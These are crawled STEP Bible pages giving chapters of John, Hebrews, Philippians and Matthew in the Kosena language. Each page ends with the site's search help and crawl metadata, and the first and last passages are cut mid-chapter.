kígauvaꞋa kwáyáin-tontaveꞋa éíyain-kwiyomba ánásainana ávuma káínata ákáꞋmai torupánaumne kwésevo kemá séꞋa awánaaaro. ívéꞋa maankánáámá toómbó ávumo kaintembá miráráán-umai kwaásiyomba tíꞋmai ÁánútunopaꞋa kwiyónááowe. 36 kwaásiyombo tíꞋmai ÁánútunopaꞋa kwitinkáíyan-kwaasimo ésa miwí kaweꞋ-méyámbá mayáíyasa ÁánútunopaꞋa tíyan-kwaasi aúnáiꞋa umái maíꞋmaiꞋa ónááowe kwésune. évakarawai kígau úmaraiyasa óꞋowima akaránááowe kwésewe. miráumai kígau íyawaigwara akaráíyawaigwaraꞋo ésarai aamoí ónááowe. 38 óꞋowima kígau úmakaamba isaꞋá kemá tiꞋmáráúnaꞋa óꞋowiti mayáívínkén-tómbá kwéakaraawe Ísu kwántámai-aimba simátímakaiye.\n39 ánivo minínínkó séna amápaꞋa uráunda-yantaaꞋa paáruraiye siráin-aimba isésa pósa Sámériyaa-kwaasi mindáópaken-kwaasi Ísuntavesa sésa áraiꞋa Áánútumo usásinankaiwaiman-iye sésa 40 ÍsunopaꞋa tésa sésa kentáásí naaópaꞋa tamaiyó suwaná Ísu kae-táwai koména 41 aaí simátimuwasa isésa sáwíva-kwaasigwaraꞋa sésa áraiꞋa sáwíꞋo umáímo máyaundavinkenta kawer-ámpátá mésinkaniwaiman-iye sésa 42 minínínkómbá simámesa sésa íma enááiye suꞋmaiyavetaanivo kwenáái ísaraundayaveta séta marapá-kwáásí sáwíꞋo umáímo máyaundavinkemba kawer-ámpátá mésinkaniwaiman-iye siráawe.\nÍsu moórá-iyampoi asóvamankarain-kwasai.43 Ísu kaeꞋ-nóꞋwáámbá kwaéna mindáópaꞋa tuwéna Káríri-ayampaꞋa kónáe séna kwéna 44 séna Áánútun-aai simátímíwain-awiꞋa kwenamááraa íma mósá máráavo áꞋon-daopaken-kwaasi kwenáwíꞋa mósá máráawe súwasa 45 miráumai Káríri-ayampaꞋa kúwasa mináyámpákén-kwáásí aamoí umánkaraawe. ááéma tíyótaasa í-tánón-kánááráꞋá miwí Yérúsaremu-naopaꞋa komésa Ísuna mayáímó mairáimba awánaraamba pósa aamoí umánkaraawe.\n46 aamoí umánkówana Ísu Káríri-ayampaꞋa kwénaaena Kéna-naopaꞋa non-úranko ándá-aran-dombo kasúkáin-daopaꞋa kúmba kámááni-kwaasi Kápénéamu-naopaken-kwaasigo ááninkomba áíꞋa kwéuwana 47 Ísu Yútiyaa-ayampakemba Káríri-ayampaꞋa tiráin-aimba iséna ÍsunopaꞋa téna séna kesááninko puwíndayavena kwéisaꞋa úmpo kesí naaópaꞋa kuré koasóvamankaniyono súwana 48 Ísu séna ímo óꞋom-bayai-awaameꞋo awánéꞋo éꞋa íma kesááiyaveꞋa áraire sénááowe súwana 49 anóndakoo kesáánimba puwíndayavena kwéimba avekáán-umai tiyó súwana 50 Ísu séna enáánimba asóvagwivo kwaaó súwana Ísun-aaiyavena áraire séna kúmba 51 aampaꞋá kúmba kwená mayáí-kwáásí tésa sésa enáánimba áíꞋa éránkaraiye suwaná 52 tísaa ena séna kesáánimba nósa-tawaiya áíꞋa éránkaraiyo súwasa sésa tíndauma kwáyáꞋwái kokotámba éránkaraiye suwaná 53 avowámá imáyáa éna séna mitáwai enáánimba asóvagwiyemo siráimba áraiꞋa siráiye súmba pósa kwená akúmpákén-kwáásí amápaꞋa Ísun-aaiyavesa áraire siráawe. 54 Yútiyaa-ayampakemba Káríri-ayampaꞋa komáyomba moóráma kaweꞋ-máyáí-áwááméꞋá uréna minkáꞋá miníyámpóígómbá asóvamankowasa kwená akúmbá áraire siráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.4","date":"2018-04-26T04:06:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00164.warc.gz","language":"kze","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999967813491821}","num_words":912,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 51 aivaꞋ-mónó-káwáánákóná mayáímá mayánááontavesa Yútaa-kwaasivinkemba moórá-morawai usásintinkaawasa kwévukowasa óꞋomba usásintinkaawasa kwaásiyavesa ísámai ÁánútumpaꞋa áísaa esa kwaásimo sáwíꞋo kwéontavesa póímo tuvúꞋmái Áánútumba kwéamesa évaka-tantaakwaraꞋa kwéamewe. 2 miwí kwaásima pósa íma asirayánkwáráwáí ésa mindáyavesa ímo kaweꞋó umáímo isésamo sáwíꞋo on-kwáásíyávésa kanaán-umai kaweꞋá umái tirumbá umátinkesa 3 íma kaweꞋá umái asiramái mésa sáwíꞋa kwéontavesa amápa-kwaasiti sáwí-mayaiyavesawe suꞋmai ímanivo miwítí sáwí-mayaiyavesagwaraꞋa imáyáa ésa póíma tuvúꞋmái ÁánútumpaꞋa kwéamewe. 4 évakarawai íma imáyáa ésa sésa anóndako póꞋa aivaꞋ-mónó-káwáánákóná mayáí mayánáe-imayaa ésa mirám-báyáí kwémayaavo naaóváꞋó Áánútumo moóráwai áwíꞋo Érónimba usásinankowana mirám-báyáímó mairáintemba Áánútu usásintinkaraiwaiye suꞋmai mimbáyáí kwémayaawe.\n5 miráumai Ísu Káráísiti íma imáyáa éna séna anóndako póꞋa aivaꞋ-mónó-káwáánákóná mayáí mayánáe íma siráivo Áánútu usásinankena aivaꞋ-mónó-káwáánákóná mayáí aména séna\n- emá kesáánimba ónaꞋa\n- kesí mayáíráꞋá ánkaraumne\n- moóráwaimo áwíꞋo Méókíséteki anóm-bono-kawaanako uráintemba emá mirám-báyáí maimaé iyíníyone\n7 Ísu Káráísiti marapáꞋá máyonkaꞋa eéséꞋá éna iviꞋá téna námúnaa séna puwíníntavena ÁánútumpaꞋa áísaa ena puwíndamo kanaamó umáímo áwaꞋnaa íníwaintavena súwaꞋnaa uwo séna Áánútuna imáyáa kwakáimba póna áwaꞋnaa uráiye. 8 Ísu áraiꞋa Áánútu ááninko úwana umbai-yántááꞋó kwempímbó túmba íma mindáyavena imáyáa éna Áánútuna imáyáa kwaréna 9 kasenkuíꞋa éna kwenááiya taagwiyavúndawaiya sáwí-imayaavinkemba kwéiyasinkaisata aúnáiꞋa umáíya maíꞋmaita kwéune. Ísu mintántáákóná ááimba póna 10 Méókísétekimo mono-káwáánákó uráintemba aivaꞋ-mónó-káwáánákóná mayáímá mayáníntavena Áánútu Ísumba usásinankaraiye.\nÍsuna aampaꞋá kwaréꞋmai iváꞋá túwáavo siráin-kwasai.11 simátimunda-aimpimba sáwívar-aimba kwáyáimbanivo íma ísámai kaweꞋá kwéontavena agaráátinkanaunda-mayaigo umbaí kwétaiye. 12 ááéma Ísu Káráísitin-aai iséꞋa ayáátáá-kanaa maisukáavo nóra séra íma simátímaꞋmae kwéiyo. Áánútun-aaivinkemba avorar-áímbá íma ísámai kaweꞋá éꞋa moóráwai ókwaraꞋa simásiminkwae sembánivo umarambó náámbo nésamo asirayán-tómbó ímo kwénaantenkaaniꞋa éꞋa póꞋa Áánútun-aai íma kanaán-umai simátímakaawe. 13 umarambó náámbo nésamo ímo kaweꞋó umáímo aaimó ísáantemba miráráán-umai kaweꞋó umáímo maíyé sáwíꞋo umáímo maíyé miwáná ááimba íma ísámai kaweꞋá kwéowe. 14 tinón-ésamo asirayán-tómbó naantembá kawer-ímáyáá úmae íyówai amápar-imayaa taaímbai kwéisaawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Heb.5","date":"2018-04-23T02:09:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945669.54\/warc\/CC-MAIN-20180423011954-20180423031954-00487.warc.gz","language":"kze","language_score":0.9999411106,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999411106109619}","num_words":430,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Philippians 2\nKáráísiti Áánútu aísamaivimba máyowana áwíꞋa anómba umánkarain-kwasai.1 Ísu Káráísitiyemo tarúmaimo máyáamba kwemá kwétiravayaiye. Áánútumo kwenarumbó tímakaimba asirayámbá tímakaiye. Áánútun-amankomo arumbó tímakaimba moórávimba máyáawe. tirumbá umátínkávaꞋa kwénaaeꞋa túwaꞋnaa umai máyáawe. mirámó íyaꞋo éꞋa 2 mimbórá-ímáyáá umái méꞋa moórá-tirumba maꞋmái méꞋa kentirumbó tímaꞋmaeꞋo naaíyamba sirunkó anón-kaweꞋa íníye. 3 mayáímó kwémayaamba íma kentúma maé iyéꞋa kesúwíꞋa maimaé iyígwáe íma séꞋa Áánútu aísamaivimba méꞋa óꞋowiyaveꞋa séꞋa kentáá usáyaaitaraawe seró. 4 íma kesáváíyé suꞋmai túwaꞋnaa eꞋa amáparawai túwaꞋnaa oro. 5 Ísu Káráísitimo imáyáamo intembá maarán-ímáyáá oro.\n6 Ísu Káráísiti Áánúturaamba umái ména kwená asirayánkómó intembá umái ména minásíráyámbá íma tokéna 7 ivátuwena umarankááníꞋa mórun-úwana moórá-ininko marankówana anón-éna kwayó-kwáásíráámbá umái ména 8 kwaásiraamba umái máyowasa awánowana Áánútu aísamaivimba kumbéna puwínín-aintavena owé simái kató éna íma úwoi pukáivo sáwíꞋa ésa taairaꞋá inkamúwana pukáiye. 9 mirá uráintavena Áánútu pukáimpinkemba usásinankena sanaan-úramba móankena amáparawai túwíkaꞋa kwenáwíꞋa anómba umánkowasa 10 pósa Ísu áwíꞋo tánááombo ésa anómban-iye sésa amáparawai kívaesa kwíyómpakewaiye marapákéwáíyé kwaántái marupákéwáíyé kívairesa 11 avoraꞋá Ísu Káráísitintavesa sésa Ísóigoman-iye sésa Áánútumba kentáásivowa áwíꞋa mósá maránááowe.\nkwaásivimba sáma kamátinkeꞋa máéro siráin-kwasai.12 mindáyaveꞋa kesí kwaásiyo ísáaro. keinárawate máyaawandaraꞋa kesáái ísámae iráantemba ívéꞋa íma keinárawate máyaundaraꞋa kesáái iséꞋa Áánútumo sáwí-imayaao tátokaimpinkemba iyátinkena kawer-ámpáꞋó métinkarain-aimba imáyáa éꞋa kwentávéꞋa kwéeꞋa kwenáái tuwáúnavo séꞋa táátaveꞋa kwéeꞋa asiramái kwená mayáí máyáaro. 13 Áánútu aamoimó kwéim-bayai mayánáe séꞋa kwéontavena kentirumpimbá mayáí maimaé kwéiyisaꞋa póꞋa táátaveꞋa kwéeꞋa kawer-ámpáꞋá kwaꞋmaé kwégowe.\n14 íma íꞋái tinkéꞋa íma aaisambá tiyéꞋa miráumai máéro. 15 mirámó éꞋa kawer-úramba umái máíyana póna kentí sáwí-meyamba íma kwéniye. marapáꞋó sáwí-ambo kwarésamo kaeꞋnáéꞋo úmae nááón-kwaasivimba keinárawaꞋa Áánútuna kwaási méꞋa sáwí-imayaa kempímbá íma kwáyainaꞋa póꞋa sáma kamátinkeꞋa 16 maíꞋmaiꞋo ónááon-aimba kentirumpimbá asiramái tátokaiyaꞋa póꞋa Ísu Káráísiti kumíndaraꞋa aamoí éꞋa séꞋa komáyaawanda póꞋa maíꞋmaiꞋo ónááon-aimba tirumpimbá asiramái tátoraamba póꞋa séꞋa íma úwoisan-tantaataveꞋa mayáí kwémaeꞋa méraumne sénaumne.\n17 Áánútuna aamoi-yántááꞋó áménteniꞋa umái kwenkáꞋá agevamái máyáawe. Áánútuntavesamo imáyáaamo ésamo ándá-aran-dombo átímaraanteniꞋa umái kembó sínkamiyanamo kesí naaemó kumínaꞋo púwónanamo éna ándá-aran-donkaamba kumíníye. mirámó ondamó éna kesirunkó kaweꞋá ínímba póna kentirunkógwáráꞋá kaweꞋá íníye. 18 miráumai kesirunkómó kaweꞋó índantemba kentirunkógwáráꞋá miráumai kaweꞋá íníye.\nTímótiye Épavarotaitasi miwítí kwaasái.19 sáwíyankaꞋa Tímótimba aiꞋmáráanana kentópaꞋa kwíníntaveꞋa Ísu KáráísitimpaꞋa námúnaavinkemba kwéaisaa-unda póna kentópaꞋa kuréna koyauweréna kesópaꞋa téna kentáái másimasiminaꞋa iséꞋa aamoí ónaumne. 20 kwesé keiráíyé suꞋmai keinárawatavekai anón-imayaa ékai sékai kawerá umái máya. sáwíra umái máyaao kwésuvo 21 évakarawai kesáváí-ímáyááwé suꞋmai ésa Ísu Káráísitina imáyáa íma kwéowe. 22 ánivo ááninkomo avowáná mayáímó áwaꞋnaa intembá áséi-kwasaiyavena Tímóti kembá kwésuwaꞋnaa in-áímbá ísaraawe. 23 kesópaꞋo tínín-tantaaꞋa amuꞋmaꞋmái awánéꞋa Tímótimba aiꞋmáráanana kentópaꞋa kwínaꞋa 24 kemá sáwíyankaꞋa kentópaꞋa kónaundayaveꞋa ÍsóigompaꞋa kwéaisaa-eꞋa kwéamuꞋmaraumne.\n25 imáyáa éꞋa kesí kwaásigo áwíꞋa Épavarotaitasi aiꞋmáráanana kentópaꞋa kwíníye. mirá ónaumne kwésune. aiꞋmárówana kesópaꞋa téna kentáái másimasimena kesí umbai-máyáí tagwésuwaꞋnaa-ena kesé asirayám-báyáí kwémayaisana 26 áíꞋa isaꞋá kwenáái ísáawana kwemá iséna anón-imayaa éna síꞋo imbá asóvamasinkain-aimba kosimátimenae simbá póꞋa aiꞋmáráanana kwíníye. 27 áraiꞋa áíꞋa isaná puwíndayavena kwéisana Áánútu arumbá umánkena asóvamankaraiye. umbai-yántááꞋá kempímbá kwáyáinkaꞋa póna puwínana óꞋon-umbai-yantaaꞋa tivó séna Áánútu arumbá umásinkena asóvamankaraiye. 28 mindáyaveꞋa aiꞋmáráandayaveꞋa aamoí únana kentópaꞋa kwínaꞋa awánéꞋa aamoí íyaꞋa íma anón-imayaa ónaumne. 29 kentópaꞋa kwínaꞋa awánéꞋa aamoí umánkeꞋa ÍsóigompaꞋa súwi síyana tirunkó anón-kaweꞋa íníye. mirán-kwáásí táái mósá máráaro. 30 íma kanaán-umai tasúwaꞋnaa ontávéna kentí anondá kwemá téna kovuwúnavo íma simbá úwoi tasúwaꞋnaa ena Ísu Káráísitina mayáí kwémayaimba puwíndayavena uráivo kwembá awánéꞋa kwenáái mósá máráaro.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Phili.2","date":"2018-04-23T03:48:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945724.44\/warc\/CC-MAIN-20180423031429-20180423051429-00013.warc.gz","language":"kze","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999970197677612}","num_words":663,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 10\nsipisípigona kusaváꞋó kárákwiraan-kwasai.1 Ísu séna áraiꞋa simátimeꞋa súmpo ísáaro. sipisípi kusaváꞋó kónáe síyawai ímo sipisípigona ontavímbó usávekesamo ésa kusarákémbó maatésamo ésa miwí umóyándáraware sénááowe. 2 sipisípiraꞋa kárákwiraiwai ontavímbá usá kwéveraiye. 3 miráumai ontará kawáánáꞋá onta tiyánkáísana usáverena kwená sipisípi túwíꞋa utaisasá kwenáái isésa kwenópaꞋa kowaná 4 sipisípi kusavínkémbá tíꞋmaena aivaꞋá kwisasá kwenáái ísáantavesa ánaaemba kwégwaraawe. 5 ánivo óꞋon-kwaasi táái íma ísámai tínaaemba íma kwaꞋmaésa kwéesa inkaisésa kóyáwé kwéowe 6 Ísu mirá simátimuwasa mináínkóná ááimba íma ísaraawe.\nÍsu sipisípiraꞋa kárákwirain-kwasai.7 mináínkóná ááimba íma ísóntavena Ísu séna áraiꞋa simátimeꞋa séꞋa sipisípigona ontamá kemá úne. 8 íma kunkáundaraꞋa évakarawai tiráawai umóyándáraware. miwí táái sipisípiyonko íma ísaraawe. 9 kemá ontamá úne. kesópaꞋo tíyaꞋo éꞋa usáveraaro senasá usáveraiyaꞋa kárákwiyonaumne. toómbó naíyávésamo ésa kunákárúwaresa násuwesa óꞋa usáveranaaowe. 10 umóyán-ámpá-kwáásímó tíyawaimo ésa kwaási tínkambai áwáávi-tantaaꞋa ónááombanivo kemá kunkáunda pósa óꞋoran-kaweꞋa umái maíꞋmaiꞋa ónááowe. 11 sipisípiraꞋa kaweꞋá umái kárákwiraundanaꞋa úne. sipisípiraꞋo kaweꞋó umáímo kárákwiraindaꞋa séna kesí sipisípi túwaꞋnaa ónaumne séna puwíníye. 12 ánivo óntantavaiye sésa sipisípiraꞋa tavíkáawai áwáávite in-íyánkómbá awánésa sipisípi ivátiyuwesa kóuwana sipisípiyomba vamái kwatúwáísasa kówitawaaꞋa umáguraawe. 13 miwí sipisípiraꞋo taviyí-ímáyáámá tuwésa óntane suꞋmaimo mayáí-ímáyáá kwéowe. 14 sipisípiraꞋa kaweꞋá umái kárákwiraundanaꞋa úne. kesivo kembá súyaisaꞋa kemá kesivombá aúyáunana mirámó úndantemba kesí sipisípi amápaꞋa túyáunasa kembá kwésuyaawe. kesí sipisípima túwaꞋnaa ónaundayaveꞋa póꞋa kemá puwónaumne. 16 kesí sipisípi évakaꞋa óꞋon-kusavaꞋa máyáamba póꞋa kotíráanasa kesáái ísámai tésa mimbóráíꞋa umái máyaiyaꞋa amáparawairaꞋa kárákwiyonaumne. 17 púwóndavinkemba usásinanaunda-imayaama kesivomá símísaꞋa kemá owé súndayavena kwenarumbá kwésimiye. kemó ímo owé súndarakai íma kanaán-umai sínkamosino. kesí imáyáavinkemba puwónaunda póꞋa kanaaráꞋá puwónaumne. púwóndavinkemba kanaán-umai usásinanaumne. kesivomá simásimena séna mirán-uwo séna mirámó ónaunda-asirayamba símakaiye Ísu siráiye.\n19 Ísu mináímbá súntavesa Yútaa-anon-kwaasi imáyáa ésa taaínkaar-uwasá 20 évakarawai sésa taraváá-kwámbá arupimbá máyáintavena uwoꞋaóꞋá kwéiye. nóra séra kwenáái kwéisaao suwasá 21 évakarawai sésa taraváá-kwámbó arupimbó máyáinkakai íma mirá-áímbá sisinó. taraváá-kwámbó arumpimbó máyáinkakai íma aúgavitan-kwaasi aúramba kaweꞋá umái awánéna máísino siráawe.\nYútaa-anon-kwaasi tínaaemba umánkaraan-kwasai.22 Yútaa-kwaasi anóm-bonoꞋ-nambo uráan-kanaamo túntemba Yérúsaremu-naopaꞋa tanómba kwégauvunkaꞋa minkánáá táúgwi-kanaa póna túwana 23 Ísu anóm-bonoꞋ-naumpaꞋa ména Sórómoni áúgwimai úmakopaꞋa kwéguwasa 24 Yútaa-anon-kwaasi torupésa taúkúmaresa áísaa esa sésa entávéta sáwívar-imayaaya kwéune. Áánútumo usásinankaiwai kwéamuꞋmaraundawaima ewá ónómpo arupí umái sinatá ísáano suwaná 25 Ísu séna simátimunaꞋanivo íma ísaraawe. kesivo simásímakaim-bayaima kwémayaunda póna kesí ááimba avoraꞋá kwévaariye. 26 keinárawaꞋa íma kesí sipisípiyomba póꞋa kesááiyaveꞋa íma áraire kwésewe. 27 kesí sipisípi túyáúnasa kesáái ísámai kesínaaemba kwégwaraawaꞋa 28 imáyáama timúnasa aúnáiꞋa umái maíꞋmaiꞋa kwéomba pósa íma puwónááowe. kawáá úndavinkemba íma kanaán-umai tayaviyénááowe. 29 kesivomá símakaimba kwená asirayánkó amápar-asirayankomba usáyaaitaisasa kesivomá kawááimpinkemba íma kanaán-umai tayaviyénááowe. 30 kesé kesivoé mimbóráíꞋa kwéuye Ísu siráiye.\n31 súwasa Ísumo sún-aintavesa Yútaa-anon-kwaasi ókwaraꞋa tuvuwónáe sésa óntamba máyówana 32 Ísu simátimena séna kesivomá simásímakaim-bayai kaweꞋ-máyáímá kwémayaunaꞋa kwéawanaavo nóim-bayaiya mayáúndayavaiya sínkamonaaoo súwasa 33 íma kaweꞋ-máyáíyávéta inkamónáeta kwéumpo Áánútumba akáꞋáámba simánkaandayaveta inkamónaundayaawe. marapá-kwáásígómá séma Áánútuma úne séndayaveta inkamónaundayaawe suwaná 34 Ísu séna Áánútun-aai aúváívimba ímo kampar-áímbó kwáyáin-auvaivimba agaimaréna séna Áánútu séna ísóigoman-owe siráiye agaimaréna siráiye. Áánútun-aai simátímakowaiyavena séna ísóigoman-owe siráiye. 36 kesivomá ításinkena siꞋmákaisaꞋa marapáꞋá kunkáumpo Áánútu ááninko úne kwésundayaveꞋa Áánútumba íma akáꞋáámba kwésimankaumne. 37 kesivoná mayáímó ímo kwémayaundarakai kentávéꞋa kwíyómpakemba kunkáiye séꞋa íma áraire sesinó. 38 kwíyómpakemba kunkáiye séꞋa íma áraire sembánivo kesí mayáíyávéꞋa Áánútuna mayáímá kwémayaiye séꞋo éꞋa minkáꞋá séꞋa kwesé avowáe mimbóráíꞋa kwéoye sénááowe Ísu súwasa 39 moórágwaraꞋa tátoranae sésa umbá tátoꞋmai tovíráyuwowana kóuraiye.\n40 Ísu miwí tiyuwéna Yótáni-nomba kóaatena ááéma Yóni nombá pétinkaropaꞋa komáyowasa 41 kwaásiyomba torupésa sésa Yóni ímo awánáúnda-mayaima mairáimbanivo minkwáásíyávéna simásímakain-aimba árair-aimba siráiye suwasá 42 sáwíva-kwaasi Ísuntavesa áraiꞋa Áánútunopakemba kunkáiye siráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.10","date":"2018-04-23T15:36:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946077.4\/warc\/CC-MAIN-20180423144933-20180423164933-00175.warc.gz","language":"kze","language_score":0.9999899864,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999899864196777}","num_words":683,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 191 Ísu mináyáátáár-áímbá simátímatuwena Káríri-ayampaꞋa tuwéna Yútiyaa-ayampaꞋa Yótáni-nonkona menávápár-áyámpáꞋá komáyowasa 2 sáwívarawai tóyo uwaná tíꞋo ún-kwaasi asóvamatinkaraiye.\n3 asóvamatinkowasa ámáán-kawaa-kwaasi sésa Ísumo sáwí-aimbo sínda isánáe sésa ÍsunopaꞋa tésa sésa moórá-kwaasigo maanáíntáváíyáꞋi. óꞋon-oꞋon-aintavaiyaꞋi. awainínkómbá kanaarárá auwáníyo. mirámó énamo éna ámáán-aimba araaisíni. íya araaisíníyo suwaná 4 Ísu séna naaóváꞋó Mósesimo agaimakáin-aimba awánaraawe. maarán-áímbá agaimaréna séna Áánútu kwíyómba maramá taróruronkaꞋa aaraigwárá kwaaigwáráꞋá taróruraiye. 5 tarórurena séna aaraigwárá kwaaigwáráꞋá tatóruraundayavesa tinóvowi tiyuwésa awaikóe awainínkóe tágárotamai mimbórá-túmá maꞋmái kwémaewe Áánútu siráiye. 6 mindáyavesa awaikóe awainínkóe íma kae-kwáásíráámbá ésa mimbóráíꞋa kwéowe. Áánútu aarai-kwaaí moóráiꞋa umátínkaraintavesa íma tasáéro Ísu súwasa 7 miwí sésa naaóváꞋá Mósesi maará séna moóráwai awainínkómbá aiꞋmátuwaindawai aúváívimba agaimaréna séna kesuwainímbá aiꞋmátuwaumne séna agaimái amiíno siráiye. nóra séna mirán-áímbá siráiyo suwaná 8 Ísu séna kentíkwáꞋná tirumbá makáamba pósa Áánútun-aai íma ísóntavena mindáyavena Mósesi minámáámbá siráimbanivo Áánútu kwíyómba maramá taróruronkaꞋa íma mirá siráiye. 9 simátimeꞋa séꞋa moóráwaimo awainínkó íma moórá-kwaasigoe kwénaaisana awaikó óꞋon-aintavena aiꞋmátuwenamo óꞋon-inimbo kwémayaimba umóyámbá kwémayaiye Ísu siráiye.\n10 Ísu mináímbá simásuwena máyowasa kwená kwayó-kwáásí sésa aaraimó kwémayaamba sénda-aimba kwáyáinkaꞋa pósa mirá kwéovo ímo aaraimó maésamo úwoimo kwémaemba kaweꞋá kwéowe suwaná 11 Ísu séna amáparawai sen-áímbá íma kaweꞋá umái ísáawasa aaraimó ímo mayánááontavesa Áánútu asirayámbá tímakaiwai mináímbá kwéisaawe. 12 évakarawai moórá-mora-aintavesa íma aaraí máyáawasa évakarawai tinóvowi sáwí-kwaasi tínkaraawai aaraí íma máyáawasa évakarawai túmo sáwíꞋo umátínkaraawai aaraí íma máyáawasa évakarawai Áánútu kwená kwaásimo kawááin-aimba isésa Áánútuntavesa imáyáa ésa aaraí íma kwémayaawe. kanaán-umai mirá ónaumnemo kwésewai mináímbá isánááowe Ísu siráiye.\nÍsu iyámpói kaweꞋá umátínkarain-kwasai.13 Ísu simátimuwasa évakarawai Ísu tátorena kaweꞋá umátinkena ÁánútumpaꞋa námúnaa sínkwáe sésa iyámpói tíꞋmaesa tuwasá kwená kwayó-kwáásí sésa tíꞋmaeꞋa kóro suwaná 14 Ísu simátimena séna íma kóro séꞋa tiyuwáíyasa kesópaꞋa iyámpói úwoi teró. miníyámpóímó kesópaꞋo tentembá Áánútu kwená kwaásimo kawááimba miráráán-umai kwégawaaimba iyámpóímo kesópaꞋo tí-amba íma ítátinkaaro séna 15 miníyámpóíráꞋá ayáámba tátorena túwaꞋnaa umai námúnaa simásuwena tíyukaiye.\nóísankwara-kwaasigona kwaasái.16 tiyuwówana moóráwai ívé-kwaasigo ÍsunopaꞋa téna séna anóndakoo nóran-kawera umáíya aúnáiꞋa umái kwíyómpaꞋa maíꞋmaira ónaumno súwana 17 Ísu séna nóra se kaweꞋ-máyáíyáváíyá sísaa oónó. mimbóráwáí Áánútu kweyáá kaweꞋnáꞋán-iye. 